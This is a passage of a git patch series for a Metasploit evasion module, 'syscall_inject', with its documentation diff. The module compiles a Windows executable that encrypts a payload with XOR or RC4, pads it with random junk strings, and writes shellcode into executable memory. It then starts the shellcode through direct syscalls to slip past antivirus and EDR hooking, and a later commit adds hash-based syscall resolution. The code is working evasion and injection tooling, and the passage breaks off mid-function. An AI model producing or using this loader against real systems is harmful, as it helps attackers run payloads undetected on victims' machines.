NtWaitForSingleObject_Check_10_0_XXXX: \\n\\ + cmp word ptr [rax+0x120], 10240 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_10240 \\n\\ + cmp word ptr [rax+0x120], 10586 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_10586 \\n\\ + cmp word ptr [rax+0x120], 14393 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_14393 \\n\\ + cmp word ptr [rax+0x120], 15063 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_15063 \\n\\ + cmp word ptr [rax+0x120], 16299 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_16299 \\n\\ + cmp word ptr [rax+0x120], 17134 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_17134 \\n\\ + cmp word ptr [rax+0x120], 17763 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_17763 \\n\\ + cmp word ptr [rax+0x120], 18362 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_18362 \\n\\ + cmp word ptr [rax+0x120], 18363 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_18363 \\n\\ + cmp word ptr [rax+0x120], 19041 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_19041 \\n\\ + cmp word ptr [rax+0x120], 19042 \\n\\ + je NtWaitForSingleObject_SystemCall_10_0_19042 \\n\\ + jmp NtWaitForSingleObject_SystemCall_Unknown \\n\\ + NtWaitForSingleObject_SystemCall_6_1_7600: \\n\\ + mov eax, 0x0001 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_6_1_7601: \\n\\ + mov eax, 0x0001 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_6_2_XXXX: \\n\\ + mov eax, 0x0002 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_6_3_XXXX: \\n\\ + mov eax, 0x0003 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_10240: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_10586: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_14393: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_15063: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_16299: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_17134: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_17763: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_18362: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_18363: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_19041: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_10_0_19042: \\n\\ + mov eax, 0x0004 \\n\\ + jmp NtWaitForSingleObject_Epilogue \\n\\ + NtWaitForSingleObject_SystemCall_Unknown: \\n\\ + ret \\n\\ + NtWaitForSingleObject_Epilogue: \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + ).strip + end + + def nt_write + %^ + NtWriteVirtualMemory: \\n\\ + mov rax, gs:[0x60] \\n\\ + NtWriteVirtualMemory_Check_X_X_XXXX: \\n\\ + cmp dword ptr [rax+0x118], 6 \\n\\ + je NtWriteVirtualMemory_Check_6_X_XXXX \\n\\ + cmp dword ptr [rax+0x118], 10 \\n\\ + je NtWriteVirtualMemory_Check_10_0_XXXX \\n\\ + jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ + NtWriteVirtualMemory_Check_6_X_XXXX: \\n\\ + cmp dword ptr [rax+0x11c], 1 \\n\\ + je NtWriteVirtualMemory_Check_6_1_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 2 \\n\\ + je NtWriteVirtualMemory_SystemCall_6_2_XXXX \\n\\ + cmp dword ptr [rax+0x11c], 3 \\n\\ + je NtWriteVirtualMemory_SystemCall_6_3_XXXX \\n\\ + jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ + NtWriteVirtualMemory_Check_6_1_XXXX: \\n\\ + cmp word ptr [rax+0x120], 7600 \\n\\ + je NtWriteVirtualMemory_SystemCall_6_1_7600 \\n\\ + cmp word ptr [rax+0x120], 7601 \\n\\ + je NtWriteVirtualMemory_SystemCall_6_1_7601 \\n\\ + jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ + NtWriteVirtualMemory_Check_10_0_XXXX: \\n\\ + cmp word ptr [rax+0x120], 10240 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_10240 \\n\\ + cmp word ptr [rax+0x120], 10586 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_10586 \\n\\ + cmp word ptr [rax+0x120], 14393 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_14393 \\n\\ + cmp word ptr [rax+0x120], 15063 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_15063 \\n\\ + cmp word ptr [rax+0x120], 16299 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_16299 \\n\\ + cmp word ptr [rax+0x120], 17134 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_17134 \\n\\ + cmp word ptr [rax+0x120], 17763 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_17763 \\n\\ + cmp word ptr [rax+0x120], 18362 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_18362 \\n\\ + cmp word ptr [rax+0x120], 18363 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_18363 \\n\\ + cmp word ptr [rax+0x120], 19041 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_19041 \\n\\ + cmp word ptr [rax+0x120], 19042 \\n\\ + je NtWriteVirtualMemory_SystemCall_10_0_19042 \\n\\ + jmp NtWriteVirtualMemory_SystemCall_Unknown \\n\\ + NtWriteVirtualMemory_SystemCall_6_1_7600: \\n\\ + mov eax, 0x0037 \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_6_1_7601: \\n\\ + mov eax, 0x0037 \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_6_2_XXXX: \\n\\ + mov eax, 0x0038 \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_6_3_XXXX: \\n\\ + mov eax, 0x0039 \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_10240: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_10586: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_14393: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_15063: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_16299: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_17134: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_17763: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_18362: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_18363: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_19041: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_10_0_19042: \\n\\ + mov eax, 0x003a \\n\\ + jmp NtWriteVirtualMemory_Epilogue \\n\\ + NtWriteVirtualMemory_SystemCall_Unknown: \\n\\ + ret \\n\\ + NtWriteVirtualMemory_Epilogue: \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ + end + + def headers + @headers = "#include \n" + @headers << "#include \"#{INCLUDE_DIR}\"\n" if datastore['CIPHER'] == 'rc4' + @headers + end + + def defines + %^ + typedef struct _PS_ATTRIBUTE + { + ULONG Attribute; + SIZE_T Size; + union + { + ULONG Value; + PVOID ValuePtr; + } u1; + PSIZE_T ReturnLength; + } PS_ATTRIBUTE, *PPS_ATTRIBUTE; + + typedef struct _UNICODE_STRING + { + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; + } UNICODE_STRING, *PUNICODE_STRING; + + typedef struct _OBJECT_ATTRIBUTES + { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; + } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + + typedef struct _PS_ATTRIBUTE_LIST + { + SIZE_T TotalLength; + PS_ATTRIBUTE Attributes[1]; + } PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + + + typedef struct _CLIENT_ID + { + HANDLE UniqueProcess; + HANDLE UniqueThread; + } CLIENT_ID, *PCLIENT_ID; + + EXTERN_C NTSTATUS NtClose( + IN HANDLE Handle); + + EXTERN_C NTSTATUS NtOpenProcess( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL); + + + EXTERN_C NTSTATUS NtWaitForSingleObject( + IN HANDLE ObjectHandle, + IN BOOLEAN Alertable, + IN PLARGE_INTEGER TimeOut OPTIONAL); + + EXTERN_C NTSTATUS NtAllocateVirtualMemory( + IN HANDLE ProcessHandle, + IN OUT PVOID * BaseAddress, + IN ULONG ZeroBits, + IN OUT PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect); + + EXTERN_C NTSTATUS NtCreateThreadEx( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, + IN HANDLE ProcessHandle, + IN PVOID StartRoutine, + IN PVOID Argument OPTIONAL, + IN ULONG CreateFlags, + IN SIZE_T ZeroBits, + IN SIZE_T StackSize, + IN SIZE_T MaximumStackSize, + IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL); + + + EXTERN_C NTSTATUS NtWriteVirtualMemory( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN SIZE_T NumberOfBytesToWrite, + OUT PSIZE_T NumberOfBytesWritten OPTIONAL); + ^ + end + + def filler + %( + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_mail_address}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_guid}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; + char* #{Rex::Text.rand_text_alpha(3..10)} = "#{Rex::Text.rand_name} #{Rex::Text.rand_surname}"; + ) + end + + def exec_func + %^ + #{get_payload} + #{Rex::Text.to_c key, Rex::Text::DefaultWrap, 'key'} + DWORD exec(void *buffer) + { + void (*function)(); + function = (void (*)())buffer; + function(); + } + ^ + end + + def inject + s = "Sleep(#{datastore['SLEEP']})" + @inject = %@ + + void inject() + { + HANDLE pHandle; + CLIENT_ID cID = {0}; + OBJECT_ATTRIBUTES OA = {0}; + SIZE_T size = sizeof(shellcode); + PVOID bAddress = NULL; + int process_id = GetCurrentProcessId(); + cID.UniqueProcess = process_id; + NtOpenProcess(&pHandle, PROCESS_ALL_ACCESS, &OA, &cID); + NtAllocateVirtualMemory(pHandle, &bAddress, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); + int n = 0; + @ + if datastore['CIPHER'] == 'rc4' + @inject << %@ + char* temp = (char*)malloc(sizeof(shellcode)); + RC4(key, shellcode, temp, sizeof(shellcode)); + for (int i = 0; i < sizeof(shellcode) - 1; i++) + { + NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp[i], 1, NULL); + n++; + } + @ + else + @inject << %@ + for (int i = 0; i < sizeof(shellcode) - 1; i++) + { + char temp = shellcode[i] ^ key[0] ^ key[1] ^ key[2] ^ key[3] ^ key[4] ^ key[5] ^ key[6]; + NtWriteVirtualMemory(pHandle, (LPVOID)((ULONG_PTR)bAddress + n), &temp, 1, NULL); + n++; + } + @ + end + @inject << %@ + #{s if datastore['SLEEP'] > 0}; + #{s if datastore['SLEEP'] > 0}; + HANDLE thread = NULL; + NtCreateThreadEx(&thread, THREAD_ALL_ACCESS, NULL, pHandle, exec, bAddress, NULL, NULL, NULL, NULL, NULL); + WaitForSingleObject(thread, INFINITE); + NtClose(thread); + NtClose(pHandle); + } + @ + end + + def main + %^ + int main() + { + #{filler if datastore['JUNK']} + inject(); + } + ^ + end + + def key + if datastore['CIPHER'] == 'rc4' + @key ||= Rex::Text.rand_text_alpha(32..64) + else + @key ||= Rex::Text.rand_text(7) + end + end + + def get_payload + junk = Rex::Text.rand_text(10..1024) + p = payload.encoded + junk + vprint_status("Payload size: #{p.size} = #{payload.encoded.size} + #{junk.size} (junk)") + if datastore['CIPHER'] == 'xor' + key.each_byte { |x| p = Rex::Text.xor(x, p) } + Rex::Text.to_c p, Rex::Text::DefaultWrap, 'shellcode' + else + opts = { format: 'rc4', key: key } + Msf::Simple::Buffer.transform(p, 'c', 'shellcode', opts) + end + end + + def generate_code(src, opts = {}) + comp_obj = Metasploit::Framework::Compiler::Mingw::X64.new(opts) + compiler_out = comp_obj.compile_c(src) + unless compiler_out.empty? + elog(compiler_out) + raise Metasploit::Framework::Compiler::Mingw::UncompilablePayloadError, 'Compilation error. Check the logs for further information.' + end + comp_file = "#{opts[:f_name]}.exe" + raise Metasploit::Framework::Compiler::Mingw::CompiledPayloadNotFoundError unless File.exist?(comp_file) + + bin = File.binread(comp_file) + file_create(bin) + comp_obj.cleanup_files + end + + def run + comp_opts = '-masm=intel -w -mwindows ' + src = headers + src << defines + src << nt_alloc + src << nt_close + src << nt_create_thread + src << nt_open_process + src << nt_wait + src << nt_write + src << exec_func + src << inject + src << main + path = Tempfile.new('main').path + vprint_status path + compile_opts = + { + strip_symbols: true, + compile_options: comp_opts, + f_name: path, + opt_lvl: datastore['OptLevel'] + } + generate_code src, compile_opts + end + +end From 87e7718a25710bf2163839d9110d60f5f80ff61e Mon Sep 17 00:00:00 2001 From: kensh1ro Date: Wed, 4 Aug 2021 09:31:43 +0300 Subject: [PATCH 2/8] Adding a dynamic way to fetch syscalls --- .../modules/evasion/windows/syscall_inject.md | 6 +- modules/evasion/windows/syscall_inject.rb | 898 ++++++------------ 2 files changed, 283 insertions(+), 621 deletions(-) diff --git a/documentation/modules/evasion/windows/syscall_inject.md b/documentation/modules/evasion/windows/syscall_inject.md index f0609f70e4..e467344b93 100644 --- a/documentation/modules/evasion/windows/syscall_inject.md +++ b/documentation/modules/evasion/windows/syscall_inject.md @@ -2,6 +2,9 @@ This module lets you create a Windows executable that injects a specific payload/shellcode in memory bypassing EDR/AVs Windows API hooking technique via direct syscalls achieved by Mingw's inline assembly. Mingw needs (x86_64) to be installed on the system and in the PATH enviroment variable. +The technique used is based on Sorting by System Call Address, by enumerating all Zw* stubs in the EAT of NTDLL.dll and then sorting them by address, it still works even if syscall indices were overwritten by AVs. +[For more details](https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/) + ## Verification Steps steps using a meterpreter/reverse_tcp payload on a 64-bits target: @@ -112,4 +115,5 @@ meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.225.76 - Meterpreter session 1 closed. Reason: User exit -``` \ No newline at end of file +``` + diff --git a/modules/evasion/windows/syscall_inject.rb b/modules/evasion/windows/syscall_inject.rb index 320e231371..f345b40c53 100644 --- a/modules/evasion/windows/syscall_inject.rb +++ b/modules/evasion/windows/syscall_inject.rb @@ -28,7 +28,7 @@ class MetasploitModule < Msf::Evasion register_options( [ OptEnum.new('CIPHER', [ true, 'Shellcode encryption type', 'xor', ['xor', 'rc4']]), - OptInt.new('SLEEP', [false, 'Sleep time before executing shellcode', 7000]), + OptInt.new('SLEEP', [false, 'Sleep time before executing shellcode', 10000]), OptBool.new('JUNK', [false, 'Add random info to the final executable', true]) ] ) @@ -40,617 +40,126 @@ class MetasploitModule < Msf::Evasion ) end + def calc_hash(name) + hash = @hash + ror8 = ->(v) { ((v >> 8) & 0xffffffff) | ((v << 24) & 0xffffffff) } + name.sub!('Nt', 'Zw') + name << "\x00" + for x in (0..name.length - 2).map { |i| name[i..i + 1] if name[i..i + 1].length == 2 } + p_name = x.unpack('S')[0] + hash ^= p_name + ror8.call(hash) + end + hash.to_s(16) + end + def nt_alloc %^ - __asm__("NtAllocateVirtualMemory: \\n\\ - mov rax, gs:[0x60] \\n\\ - NtAllocateVirtualMemory_Check_X_X_XXXX: \\n\\ - cmp dword ptr [rax+0x118], 6 \\n\\ - je NtAllocateVirtualMemory_Check_6_X_XXXX \\n\\ - cmp dword ptr [rax+0x118], 10 \\n\\ - je NtAllocateVirtualMemory_Check_10_0_XXXX \\n\\ - jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ - NtAllocateVirtualMemory_Check_6_X_XXXX: \\n\\ - cmp dword ptr [rax+0x11c], 1 \\n\\ - je NtAllocateVirtualMemory_Check_6_1_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 2 \\n\\ - je NtAllocateVirtualMemory_SystemCall_6_2_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 3 \\n\\ - je NtAllocateVirtualMemory_SystemCall_6_3_XXXX \\n\\ - jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ - NtAllocateVirtualMemory_Check_6_1_XXXX: \\n\\ - cmp word ptr [rax+0x120], 7600 \\n\\ - je NtAllocateVirtualMemory_SystemCall_6_1_7600 \\n\\ - cmp word ptr [rax+0x120], 7601 \\n\\ - je NtAllocateVirtualMemory_SystemCall_6_1_7601 \\n\\ - jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ - NtAllocateVirtualMemory_Check_10_0_XXXX: \\n\\ - cmp word ptr [rax+0x120], 10240 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_10240 \\n\\ - cmp word ptr [rax+0x120], 10586 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_10586 \\n\\ - cmp word ptr [rax+0x120], 14393 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_14393 \\n\\ - cmp word ptr [rax+0x120], 15063 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_15063 \\n\\ - cmp word ptr [rax+0x120], 16299 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_16299 \\n\\ - cmp word ptr [rax+0x120], 17134 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_17134 \\n\\ - cmp word ptr [rax+0x120], 17763 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_17763 \\n\\ - cmp word ptr [rax+0x120], 18362 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_18362 \\n\\ - cmp word ptr [rax+0x120], 18363 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_18363 \\n\\ - cmp word ptr [rax+0x120], 19041 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_19041 \\n\\ - cmp word ptr [rax+0x120], 19042 \\n\\ - je NtAllocateVirtualMemory_SystemCall_10_0_19042 \\n\\ - jmp NtAllocateVirtualMemory_SystemCall_Unknown \\n\\ - NtAllocateVirtualMemory_SystemCall_6_1_7600: \\n\\ - mov eax, 0x0015 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_6_1_7601: \\n\\ - mov eax, 0x0015 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_6_2_XXXX: \\n\\ - mov eax, 0x0016 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_6_3_XXXX: \\n\\ - mov eax, 0x0017 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_10240: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_10586: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_14393: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_15063: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_16299: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_17134: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_17763: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_18362: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_18363: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_19041: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_10_0_19042: \\n\\ - mov eax, 0x0018 \\n\\ - jmp NtAllocateVirtualMemory_Epilogue \\n\\ - NtAllocateVirtualMemory_SystemCall_Unknown: \\n\\ - ret \\n\\ - NtAllocateVirtualMemory_Epilogue: \\n\\ - mov r10, rcx \\n\\ - syscall \\n\\ - ret \\n\\ - ^.strip + __asm__("NtAllocateVirtualMemory: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx\\n\\ + mov [rsp+24], r8\\n\\ + mov [rsp+32], r9\\n\\ + sub rsp, 0x28\\n\\ + mov ecx, 0x#{calc_hash 'NtAllocateVirtualMemory'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ end def nt_close - %( - NtClose: \\n\\ - mov rax, gs:[0x60] \\n\\ - NtClose_Check_X_X_XXXX: \\n\\ - cmp dword ptr [rax+0x118], 6 \\n\\ - je NtClose_Check_6_X_XXXX \\n\\ - cmp dword ptr [rax+0x118], 10 \\n\\ - je NtClose_Check_10_0_XXXX \\n\\ - jmp NtClose_SystemCall_Unknown \\n\\ - NtClose_Check_6_X_XXXX: \\n\\ - cmp dword ptr [rax+0x11c], 1 \\n\\ - je NtClose_Check_6_1_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 2 \\n\\ - je NtClose_SystemCall_6_2_XXXX \\n\\ - cmp dword ptr [rax+0x11c], 3 \\n\\ - je NtClose_SystemCall_6_3_XXXX \\n\\ - jmp NtClose_SystemCall_Unknown \\n\\ - NtClose_Check_6_1_XXXX: \\n\\ - cmp word ptr [rax+0x120], 7600 \\n\\ - je NtClose_SystemCall_6_1_7600 \\n\\ - cmp word ptr [rax+0x120], 7601 \\n\\ - je NtClose_SystemCall_6_1_7601 \\n\\ - jmp NtClose_SystemCall_Unknown \\n\\ - NtClose_Check_10_0_XXXX: \\n\\ - cmp word ptr [rax+0x120], 10240 \\n\\ - je NtClose_SystemCall_10_0_10240 \\n\\ - cmp word ptr [rax+0x120], 10586 \\n\\ - je NtClose_SystemCall_10_0_10586 \\n\\ - cmp word ptr [rax+0x120], 14393 \\n\\ - je NtClose_SystemCall_10_0_14393 \\n\\ - cmp word ptr [rax+0x120], 15063 \\n\\ - je NtClose_SystemCall_10_0_15063 \\n\\ - cmp word ptr [rax+0x120], 16299 \\n\\ - je NtClose_SystemCall_10_0_16299 \\n\\ - cmp word ptr [rax+0x120], 17134 \\n\\ - je NtClose_SystemCall_10_0_17134 \\n\\ - cmp word ptr [rax+0x120], 17763 \\n\\ - je NtClose_SystemCall_10_0_17763 \\n\\ - cmp word ptr [rax+0x120], 18362 \\n\\ - je NtClose_SystemCall_10_0_18362 \\n\\ - cmp word ptr [rax+0x120], 18363 \\n\\ - je NtClose_SystemCall_10_0_18363 \\n\\ - cmp word ptr [rax+0x120], 19041 \\n\\ - je NtClose_SystemCall_10_0_19041 \\n\\ - cmp word ptr [rax+0x120], 19042 \\n\\ - je NtClose_SystemCall_10_0_19042 \\n\\ - jmp NtClose_SystemCall_Unknown \\n\\ - NtClose_SystemCall_6_1_7600: \\n\\ - mov eax, 0x000c \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_6_1_7601: \\n\\ - mov eax, 0x000c \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_6_2_XXXX: \\n\\ - mov eax, 0x000d \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_6_3_XXXX: \\n\\ - mov eax, 0x000e \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_10240: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_10586: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_14393: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_15063: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_16299: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_17134: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_17763: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_18362: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_18363: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_19041: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_10_0_19042: \\n\\ - mov eax, 0x000f \\n\\ - jmp NtClose_Epilogue \\n\\ - NtClose_SystemCall_Unknown: \\n\\ - ret \\n\\ - NtClose_Epilogue: \\n\\ - mov r10, rcx \\n\\ - syscall \\n\\ - ret \\n\\ - ).strip + %^ + __asm__("NtClose: \\n\\ + mov [rsp +8], rcx \\n\\ + mov [rsp+16], rdx \\n\\ + mov [rsp+24], r8 \\n\\ + mov [rsp+32], r9 \\n\\ + sub rsp, 0x28 \\n\\ + mov ecx, 0x#{calc_hash 'NtClose'} \\n\\ + call GetSyscallNumber \\n\\ + add rsp, 0x28 \\n\\ + mov rcx, [rsp +8] \\n\\ + mov rdx, [rsp+16] \\n\\ + mov r8, [rsp+24] \\n\\ + mov r9, [rsp+32] \\n\\ + mov r10, rcx \\n\\ + syscall \\n\\ + ret \\n\\ + "); + ^ end def nt_create_thread - %( - NtCreateThreadEx: \\n\\ - mov rax, gs:[0x60] \\n\\ - 